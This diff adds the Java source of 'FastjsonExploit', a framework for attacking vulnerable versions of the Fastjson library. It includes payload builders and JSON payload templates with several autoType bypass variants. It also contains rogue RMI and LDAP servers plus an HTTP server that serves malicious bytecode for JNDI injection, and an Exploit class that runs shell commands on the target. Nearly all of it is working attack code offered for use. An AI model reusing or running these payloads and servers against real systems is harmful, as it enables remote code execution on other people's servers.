String payload = jarFileReader.read("JdbcRowSetImpl4.tpl");
payload = payload.replace("###RMI_LDAP_ADDRESS###",address);
System.out.println(payload);
if(args.length == 2 && args[1].equals("-exec")){
JSON.parse(payload);
}
}
}

View File

@@ -0,0 +1,73 @@
package payloads;
import com.alibaba.fastjson.JSON;
import payloads.annotation.PayloadType;
import server.CodebaseServer;
import gadget.Gadget;
import payloads.annotation.Dependencies;
import payloads.annotation.VulVersion;
import util.*;
import static server.LDAPServer.lanuchLDAPServer;
import static server.RMIServer.lanuchRMIregister;
@PayloadType({PayloadType.JNDI})
@Dependencies({"JdbcRowSetImpl1:Fastjson 1.2.47 bypass"})
@VulVersion({"1.2.2.1-1.2.4.7"})
public class JdbcRowSetImpl5 implements ObjectPayload{
@Override
public void process(String[] args) {
if(args.length != 3 && args.length != 4){
System.out.println("[*] Usage: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl5 [rmi/ldap address] [\"cmd:xxx|code:xxx.java\"]");
return;
}
String address = args[1].trim();
String expression = args[2].trim();
if(!AddressParser.isAddress(address)){
Alert.printValidAddress();
return;
}
//Setp01:生成payload
JarFileReader jarFileReader = new JarFileReader();
String payload = jarFileReader.read("JdbcRowSetImpl5.tpl");
payload = payload.replace("###RMI_LDAP_ADDRESS###",address);
System.out.println("[*] payload build success!");
System.out.println("");
System.out.println(payload);
System.out.println("");
//Setp02:生成本地exploit字节码
Common.byteCode = Gadget.getJdbcRowSetImplExpCode(expression);
//Setp03:启动服务
AddressParser ap = new AddressParser();
ap.parser(address);
try {
String server_host = ap.getHost();
Integer service_port = Integer.valueOf(ap.getPort());
int http_port = Util.getUnusePort("127.0.0.1");
CodebaseServer.lanuchCodebaseURLServer(server_host, http_port);
if (ap.getProtocol().equals("rmi")) {
lanuchRMIregister(service_port, server_host, http_port);
} else if (ap.getProtocol().equals("ldap")) {
lanuchLDAPServer(service_port, server_host, http_port);
}
}catch (Exception e){
e.printStackTrace();
System.out.println("FastjsonExploit exit!");
System.exit(0);
}
//Setp04:本地测试解析
if(args.length == 4 && args[3].equals("-exec")){
System.out.println("[*] Try local parsing");
JSON.parse(payload);
}
}
}

View File

@@ -0,0 +1,77 @@
package payloads;
import com.alibaba.fastjson.JSON;
import payloads.annotation.PayloadType;
import server.CodebaseServer;
import gadget.Gadget;
import payloads.annotation.Dependencies;
import payloads.annotation.VulVersion;
import util.*;
import static server.LDAPServer.lanuchLDAPServer;
import static server.RMIServer.lanuchRMIregister;
@PayloadType({PayloadType.JNDI})
@Dependencies({"ibatis-core:ibatis-core:3.0"})
@VulVersion({"1.2.2.1-1.2.2.4"})
public class JndiDataSourceFactory1 implements ObjectPayload{
@Override
public void process(String[] args) {
if(args.length != 3 && args.length != 4){
System.out.println("[*] Usage: java -jar FastjsonExploit-[version].jar JndiDataSourceFactory1 [rmi/ldap address] [\"cmd:xxx|code:xxx.java\"]");
return;
}
String address = args[1].trim();
String expression = args[2].trim();
if(!AddressParser.isAddress(address)){
Alert.printValidAddress();
return;
}
//Setp01:生成payload
JarFileReader jarFileReader = new JarFileReader();
String payload = jarFileReader.read("JndiDataSourceFactory1.tpl");
payload = payload.replace("###RMI_LDAP_ADDRESS###",address);
System.out.println("[*] payload build success!");
System.out.println("");
System.out.println(payload);
System.out.println("");
//Setp02:生成本地exploit字节码
Common.byteCode = Gadget.getJndiDataSourceFactory1ExpCode(expression);
//Setp03:启动服务
AddressParser ap = new AddressParser();
ap.parser(address);
try {
String server_host = ap.getHost();
Integer service_port = Integer.valueOf(ap.getPort());
int http_port = Util.getUnusePort("127.0.0.1");
CodebaseServer.lanuchCodebaseURLServer(server_host, http_port);
if (ap.getProtocol().equals("rmi")) {
lanuchRMIregister(service_port, server_host, http_port);
} else if (ap.getProtocol().equals("ldap")) {
lanuchLDAPServer(service_port, server_host, http_port);
}
}catch (Exception e){
e.printStackTrace();
System.out.println("FastjsonExploit exit!");
System.exit(0);
}
//Setp04:本地测试解析
if(args.length == 4 && args[3].equals("-exec")){
System.out.println("[*] Try local parsing");
JSON.parse(payload);
}
}
public static void printUsage(){
System.out.println("[*] Usge: java -cp FastjsonExploit-<version>.jar payloads.JndiDataSourceFactory1 [\"cmd:xxx/code:xxx\"]");
System.exit(0);
}
}

View File

@@ -0,0 +1,34 @@
package payloads;
import java.lang.reflect.Modifier;
import java.util.Iterator;
import java.util.Set;
import org.reflections.Reflections;
@SuppressWarnings ( "rawtypes" )
public interface ObjectPayload <T> {
/*
* return armed payload object to be serialized that will execute specified
* command on deserialization
*/
//public T getObject ( String command ) throws Exception;
public static class Utils {
// get payload classes by classpath scanning
public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
Class<? extends ObjectPayload> pc = iterator.next();
if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
iterator.remove();
}
}
return payloadTypes;
}
}
public void process(String[] args);
}

View File

@@ -0,0 +1,69 @@
package payloads;
import com.alibaba.fastjson.JSON;
import payloads.annotation.Dependencies;
import payloads.annotation.PayloadType;
import payloads.annotation.VulVersion;
import server.CodebaseServer;
import gadget.Gadget;
import util.*;
import static server.LDAPServer.lanuchLDAPServer;
import static server.RMIServer.lanuchRMIregister;
@PayloadType({PayloadType.JNDI})
@Dependencies({"spring-context:spring-context:4.3.7.RELEASE"})
@VulVersion({"1.2.2.2-1.2.2.4"})
public class SimpleJndiBeanFactory1 implements ObjectPayload{
@Override
public void process(String[] args) {
if(args.length != 3 && args.length != 4){
System.out.println("[*] Usage: java -jar FastjsonExploit-[version].jar SimpleJndiBeanFactory1 [rmi/ldap address] [\"cmd:xxx|code:xxx.java\"]");
return;
}
String address = args[1].trim();
String expression = args[2].trim();
if(!AddressParser.isAddress(address)){
Alert.printValidAddress();
return;
}
//Setp01:生成payload
JarFileReader jarFileReader = new JarFileReader();
String payload = jarFileReader.read("SimpleJndiBeanFactory1.tpl");
payload = payload.replace("###RMI_LDAP_ADDRESS###",address);
System.out.println("[*] payload build success!");
System.out.println("\n" + payload + "\n");
//Setp02:生成本地exploit字节码
Common.byteCode = Gadget.getJdbcRowSetImplExpCode(expression);
//Setp03:启动服务
AddressParser ap = new AddressParser();
ap.parser(address);
try {
String server_host = ap.getHost();
Integer service_port = Integer.valueOf(ap.getPort());
int http_port = Util.getUnusePort("127.0.0.1");
CodebaseServer.lanuchCodebaseURLServer(server_host, http_port);
if (ap.getProtocol().equals("rmi")) {
lanuchRMIregister(service_port, server_host, http_port);
} else if (ap.getProtocol().equals("ldap")) {
lanuchLDAPServer(service_port, server_host, http_port);
}
}catch (Exception e){
e.printStackTrace();
System.out.println("FastjsonExploit exit!");
System.exit(0);
}
//Setp04:本地测试解析
if(args.length == 4 && args[3].equals("-exec")){
System.out.println("[*] Try local parsing");
JSON.parse(payload);
}
}
}

View File

@@ -0,0 +1,52 @@
package payloads;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import gadget.Gadget;
import org.apache.commons.codec.binary.Base64;
import payloads.annotation.Dependencies;
import payloads.annotation.PayloadType;
import payloads.annotation.VulVersion;
import util.JarFileReader;
import static util.Util.isExpression;
@PayloadType({PayloadType.LOCAL})
@Dependencies({"xalan:xalan:2.7.2(need Feature.SupportNonPublicField)"})
@VulVersion({"1.2.2.1-1.2.2.4"})
public class TemplatesImpl1 implements ObjectPayload{
@Override
public void process(String[] args) {
if(args.length != 2 && args.length != 3){
System.out.println("[*] Usage: java -jar FastjsonExploit-[version].jar TemplatesImpl1 [\"cmd:xxx|code:xxx\"]");
return;
}
String expression = args[1].trim();
if(!isExpression(expression)){
System.out.println("[*] Expression:" + expression + "format error eg: \"cmd:calc\" or \"code:custom_code.java\"");
return;
}
//Setp01: 生成exploit bytecode
byte[] byteCode = Gadget.getTemplatesImpl1ExpCode(expression);
//Setp02:生成payload
String base64Code = Base64.encodeBase64String(byteCode);
JarFileReader jarFileReader = new JarFileReader();
String payload = jarFileReader.read("TemplatesImpl1.tpl");
payload = payload.replace("###EVIL_CODE###",base64Code);
System.out.println("[*] payload build success!");
System.out.println("");
System.out.println(payload);
System.out.println("");
//Setp03:本地测试解析
if(args.length == 3 && args[2].equals("-exec")){
System.out.println("[*] Try local parsing");
ParserConfig config = new ParserConfig();
JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);
}
}
}

View File

@@ -0,0 +1,53 @@
package payloads;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import gadget.Gadget;
import org.apache.commons.codec.binary.Base64;
import payloads.annotation.Dependencies;
import payloads.annotation.PayloadType;
import payloads.annotation.VulVersion;
import util.JarFileReader;
import static util.Util.isExpression;
@PayloadType({PayloadType.LOCAL})
@Dependencies({"xalan:xalan:2.7.2(need Feature.SupportNonPublicField)"})
@VulVersion({"1.2.2.1-1.2.2.4"})
public class TemplatesImpl2 implements ObjectPayload {
@Override
public void process(String[] args) {
if(args.length != 2 && args.length != 3){
System.out.println("[*] Usage: java -jar FastjsonExploit-[version].jar TemplatesImpl2 [\"cmd:xxx|code:xxx\"]");
return;
}
String expression = args[1].trim();
if(!isExpression(expression)){
System.out.println("[*] Expression:" + expression + "format error eg: \"cmd:calc\" or \"code:custom_code.java\"");
return;
}
//Setp01: 生成exploit bytecode
byte[] byteCode = Gadget.getTemplatesImpl2ExpCode(expression);
//Setp02:生成payload
String base64Code = Base64.encodeBase64String(byteCode);
JarFileReader jarFileReader = new JarFileReader();
String payload = jarFileReader.read("TemplatesImpl2.tpl");
payload = payload.replace("###EVIL_CODE###",base64Code);
System.out.println("[*] payload build success!");
System.out.println("");
System.out.println(payload);
System.out.println("");
//Setp03:本地测试解析
if(args.length == 3 && args[2].equals("-exec")){
System.out.println("[*] Try local parsing");
ParserConfig config = new ParserConfig();
JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);
}
}
}

View File

@@ -0,0 +1,33 @@
package payloads.annotation;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import java.lang.reflect.AnnotatedElement;
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface Dependencies {
String[] value() default {};
public static class Utils {
public static String[] getDependencies(AnnotatedElement annotated) {
Dependencies deps = annotated.getAnnotation(Dependencies.class);
if (deps != null && deps.value() != null) {
return deps.value();
} else {
return new String[0];
}
}
public static String[] getDependenciesSimple(AnnotatedElement annotated) {
String[] deps = getDependencies(annotated);
String[] simple = new String[deps.length];
for (int i = 0; i < simple.length; i++) {
simple[i] = deps[i].split(":", 2)[1];
}
return simple;
}
}
}

View File

@@ -0,0 +1,28 @@
package payloads.annotation;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import java.lang.reflect.AnnotatedElement;
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface PayloadType {
String JNDI = "jndi";
String LOCAL = "local";
String[] value() default {};
public static class Utils {
public static String[] getPayloadTypes(AnnotatedElement annotated) {
PayloadType authors = annotated.getAnnotation(PayloadType.class);
if (authors != null && authors.value() != null) {
return authors.value();
} else {
return new String[0];
}
}
}
}

View File

@@ -0,0 +1,25 @@
package payloads.annotation;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import java.lang.reflect.AnnotatedElement;
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface VulVersion {
String[] value() default {};
public static class Utils {
public static String[] getVulVersion(AnnotatedElement annotated) {
VulVersion vv = annotated.getAnnotation(VulVersion.class);
if (vv != null && vv.value() != null) {
return vv.value();
} else {
return new String[0];
}
}
}
}

View File

@@ -0,0 +1,20 @@
package server;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.net.InetSocketAddress;
public class CodebaseServer {
/***
* 启动http服务器提供下载远程要调用的类
*
* @throws IOException
*/
public static void lanuchCodebaseURLServer(String ip, int port) throws IOException {
HttpServer httpServer = HttpServer.create(new InetSocketAddress(ip, port), 0);
httpServer.createContext("/", new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
System.out.println(String.format("[*] HTTP server listening on: 0.0.0.0:%d (http://%s:%d/)",port,ip,port));
}
}

View File

@@ -0,0 +1,46 @@
package server;
import util.Common;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
public class HttpFileHandler implements HttpHandler {
public HttpFileHandler() {
}
public void handle(HttpExchange httpExchange) {
try {
System.out.println("[+] [HTTP Server log] new http request from " + httpExchange.getRemoteAddress() + " - GET " + httpExchange.getRequestURI());
String uri = httpExchange.getRequestURI().getPath();
InputStream inputStream = null;
if(uri.indexOf("Exploit.class")>0){
inputStream = new ByteArrayInputStream(Common.byteCode);
}else {
inputStream = HttpFileHandler.class.getResourceAsStream(uri);
}
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
if (inputStream == null){
System.out.println("Not Found");
httpExchange.close();
return;
}else{
while(inputStream.available() > 0) {
byteArrayOutputStream.write(inputStream.read());
}
byte[] bytes = byteArrayOutputStream.toByteArray();
httpExchange.sendResponseHeaders(200, (long)bytes.length);
httpExchange.getResponseBody().write(bytes);
httpExchange.close();
}
} catch (Exception var5) {
var5.printStackTrace();
}
}
}

View File

@@ -0,0 +1,124 @@
package server;
import gadget.Gadget;
import util.Common;
import util.Util;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
ldap_port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#Exploit")));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
//System.out.println("[*] LDAP Server Listening on 0.0.0.0:" + ldap_port);
System.out.println(String.format("[*] LDAP server listening on 0.0.0.0:%d (ldap://%s:%d/Exploit)",ldap_port,http_server,ldap_port));
ds.startListening();
}
catch ( Exception e ) {
System.out.println("[!] Start LDAP Server fail!");
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
//String connInfo = String.format("[+] connect ldap server form %s:%f",result.getConnectedAddress(),result.getConnectionID());
//((SocksSocketImpl)((Socket)((LDAPListenerClientConnection)((InterceptedSearchOperation)result).clientConnection).socket).impl).port
//System.out.println(connInfo);
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("[+] [LDAP server log] Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
public static void main(String[] args) throws Exception {
if(args.length != 3){
System.out.println("Usage: java -cp FastjsonExploit-<version>.jar server.LDAPServer ldap_host ldap_port [cmd/code]");
System.exit(0);
}
// String code = ExpBuilder.builder(args[2]);
// JavaCodeCompiler compiler = new JavaCodeCompiler(code);
// boolean res = compiler.compiler();
// if (res) {
// Common.byteCode = compiler.getByteCode("Exploit");
// System.out.println("[*] compiler server code success!");
// }else{
// System.out.println("[*] compiler server code fail!");
// System.out.println("[*] FastjsonExploit exit!");
// System.exit(0);
// }
Common.byteCode = Gadget.getJdbcRowSetImplExpCode(args[2]);
String server_host = args[0];
int ldap_port = Integer.valueOf(args[1]);
int http_server_port = Util.getUnusePort(server_host);
CodebaseServer.lanuchCodebaseURLServer(server_host, http_server_port);
lanuchLDAPServer(ldap_port, server_host, http_server_port);
}
}

View File

@@ -0,0 +1,49 @@
package server;
import gadget.Gadget;
import util.Common;
import util.Util;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
/***
* 启动RMI服务
*
* @throws Exception
*/
public static void lanuchRMIregister(Integer rmi_port, String callback_http_host, Integer http_port) throws Exception {
Registry registry = LocateRegistry.createRegistry(rmi_port);
String remote_class_server = "http://"+callback_http_host+":"+http_port.toString()+"/";
Reference ref = new Reference("Exploit", "Exploit", remote_class_server);
// Reference包装类
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
System.out.println(String.format("[*] RMI server listening on: 0.0.0.0:%d (rmi://%s:%d/Exploit)",rmi_port,callback_http_host,rmi_port));
//System.out.println(referenceWrapper.getReference());
}
public static void main(String[] args) throws Exception {
if(args.length != 3){
System.out.println("Usage: java -cp FastjsonExploit-<version>.jar server.RMIServer ldap_host ldap_port [cmd/code]");
System.exit(0);
}
Common.byteCode = Gadget.getJndiDataSourceFactory1ExpCode(args[2]);
String server_ip = args[0];
Integer rmi_port = Integer.valueOf(args[1]);
int http_port = Util.getUnusePort(server_ip);
CodebaseServer.lanuchCodebaseURLServer(server_ip, http_port);
lanuchRMIregister(rmi_port, server_ip, http_port);
}
}

View File

@@ -0,0 +1,71 @@
package util;
public class AddressParser {
private String protocol;
private String host;
private int port;
private String obj;
public String getProtocol() {
return protocol;
}
public String getHost() {
return host;
}
public int getPort() {
return port;
}
public String getObj() {
return obj;
}
public static boolean isIp(){
return false;
}
public static boolean isPort(int port){
if(port >=0 && port <= 65535){
return true;
}else {
return false;
}
}
public static boolean isAddress(String address){
//Reference: https://www.cnblogs.com/gongqijundemao/p/11049785.html
address = address.toLowerCase();
String regex = "^((rmi|ldap)?://)" //https、http、ftp、rtsp、mms
+ "?(([0-9a-z_!~*'().&=+$%-]+: )?[0-9a-z_!~*'().&=+$%-]+@)?" //ftp的user@
+ "(([0-9]{1,3}\\.){3}[0-9]{1,3}" // IP形式的URL- 例如199.194.52.184
+ "|" // 允许IP和DOMAIN域名
+ "([0-9a-z_!~*'()-]+\\.)*" // 域名- www.
+ "([0-9a-z][0-9a-z-]{0,61})?[0-9a-z]\\." // 二级域名
+ "[a-z]{2,6})" // first level domain- .com or .museum
+ "(:[0-9]{1,5})?" // 端口号最大为65535,5位数
+ "((/?)" // a slash isn't required if there is no file name
+ "(/[0-9a-z_!~*'().;?:@&=+$,%#-]+)+/?)$";
return address.matches(regex);
}
public void parser(String address){
//ldap://xxxx:1099/Exploit
this.protocol = address.split(":")[0];
String[] ad = address.split("/");
this.host = ad[ad.length-2].split(":")[0];
int port = Integer.valueOf(ad[ad.length-2].split(":")[1]);
if(isPort(port)){
this.port = port;
}
this.obj = ad[ad.length-1];
}
public static void main(String[] args) {
System.out.println(AddressParser.isAddress("ldap://127.0.0.1:74444/sdsd"));
}
}

View File

@@ -0,0 +1,7 @@
package util;
public class Alert {
public static void printValidAddress(){
System.out.println("[*] The rmi or ldap address is not valid! eg: rmi://127.0.0.1:1099/Exploit or ldap://127.0.0.1:10389");
}
}

View File

@@ -0,0 +1,5 @@
package util;
public class Common {
public static byte[] byteCode = null;
}

View File

@@ -0,0 +1,35 @@
package util;
public class Exploit {
public Exploit(){
try{
String cmd = "/Applications/Calculator.app/Contents/MacOS/Calculator";
java.util.ArrayList commands = new java.util.ArrayList();
boolean isLinux = true;
java.lang.String osType = System.getProperty("os.name");
if(osType != null && osType.toLowerCase().contains("win")){
isLinux = false;
}
if(isLinux) {
commands.add("/bin/bash");
commands.add("-c");
commands.add(cmd);
}else {
commands.add("cmd");
commands.add("-c");
commands.add(cmd);
}
java.lang.ProcessBuilder processBuilder = new java.lang.ProcessBuilder(commands);
java.lang.Process pc = processBuilder.start();
pc.waitFor();
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

View File

@@ -0,0 +1,26 @@
package util;
import org.apache.commons.io.IOUtils;
import java.io.InputStream;
public class JarFileReader {
public String read(String filepath) {
String fileContent = null;
InputStream inputStream = null;
try{
inputStream = this.getClass().getClassLoader().getResourceAsStream(filepath);
if (inputStream != null) {
fileContent = IOUtils.toString(inputStream);
inputStream.close();
}else{
System.out.println(String.format("[*] No %s file was found in the jar",filepath));
System.out.println("[*] FastjsonExploit exit!");
System.exit(0);
}
}catch (Exception e){
e.printStackTrace();
}
return fileContent;
}
}

View File

@@ -0,0 +1,53 @@
package util;
import java.util.Arrays;
import java.util.Comparator;
import java.util.LinkedList;
import java.util.List;
public class Strings {
public static String join(Iterable<String> strings, String sep, String prefix, String suffix) {
final StringBuilder sb = new StringBuilder();
boolean first = true;
for (String s : strings) {
if (! first) sb.append(sep);
if (prefix != null) sb.append(prefix);
sb.append(s);
if (suffix != null) sb.append(suffix);
first = false;
}
return sb.toString();
}
public static String repeat(String str, int num) {
final String[] strs = new String[num];
Arrays.fill(strs, str);
return join(Arrays.asList(strs), "", "", "");
}
public static List<String> formatTable(List<String[]> rows) {
final Integer[] maxLengths = new Integer[rows.get(0).length];
for (String[] row : rows) {
if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns");
for (int i = 0; i < maxLengths.length; i++) {
if (maxLengths[i] == null || maxLengths[i] < row[i].length()) {
maxLengths[i] = row[i].length();
}
}
}
final List<String> lines = new LinkedList<String>();
for (String[] row : rows) {
for (int i = 0; i < maxLengths.length; i++) {
final String pad = repeat(" ", maxLengths[i] - row[i].length());
row[i] = row[i] + pad;
}
lines.add(join(Arrays.asList(row), " ", "", ""));
}
return lines;
}
public static class ToStringComparator implements Comparator<Object> {
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
}
}

View File

@@ -0,0 +1,51 @@
package util;
import java.io.IOException;
import java.net.InetAddress;
import java.net.Socket;
import java.util.Random;
public class Util {
public static int getRandomNum(int min,int max){
return new Random().nextInt(max-min) + min;
}
public static int getUnusePort(String host){
int port = 65535;
for(int i=0;i<100;i++){
int n = getRandomNum(10000,65535);
if(isPortUsing(host,n)){
port = n;
break;
}
}
return port;
}
public static boolean isPortUsing(String host,int port) {
boolean flag = false;
try {
InetAddress theAddress = InetAddress.getByName(host);
Socket socket = new Socket(theAddress,port);
flag = true;
} catch (IOException e) {
flag = false;
}
return flag;
}
public static boolean isExpression(String expression){
if(expression.startsWith("cmd:") || expression.startsWith("code:")){
return true;
}else{
return false;
}
}
public static void main(String[] args) {
int port = getUnusePort("127.0.0.1");
System.out.println(port);
}
}

View File

@@ -0,0 +1 @@
{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"###EVIL_CODE###"}

View File

@@ -0,0 +1 @@
{{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"###EVIL_CODE###"}}:"ddd"}

View File

@@ -0,0 +1 @@
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true}

View File

@@ -0,0 +1 @@
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true}

View File

@@ -0,0 +1 @@
{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true}

View File

@@ -0,0 +1 @@
{"@type":"LL\u0063\u006f\u006d.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true}

View File

@@ -0,0 +1 @@
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true}}}

View File

@@ -0,0 +1 @@
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"###RMI_LDAP_ADDRESS###"}}

View File

@@ -0,0 +1 @@
Set [{"@type":"org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor","beanFactory":{"@type":"org.springframework.jndi.support.SimpleJndiBeanFactory","shareableResources":["###RMI_LDAP_ADDRESS###"]},"adviceBeanName":"###RMI_LDAP_ADDRESS###"},{"@type":"org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",}]

View File

@@ -0,0 +1 @@
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["###EVIL_CODE###"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

View File

@@ -0,0 +1 @@
{"@type":"org.apache.xalan.xsltc.trax.TemplatesImpl","_bytecodes":["###EVIL_CODE###"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

13
src/main/resources/banner Normal file
View File

@@ -0,0 +1,13 @@
.---- -. -. . . .
( .',----- - - ' '
\_/ ;--:-\ __--------------------__
__U__n_^_''__[. |ooo___ | |_!_||_!_||_!_||_!_| |
c(_ ..(_ ..(_ ..( /,,,,,,] | |___||___||___||___| |
,_\___________'_|,L______],|______________________|
/;_(@)(@)==(@)(@) (o)(o) (o)^(o)--(o)^(o)
FastjsonExploit is a Fastjson library vulnerability exploit framework
Author:c0ny1<root@gv7.me>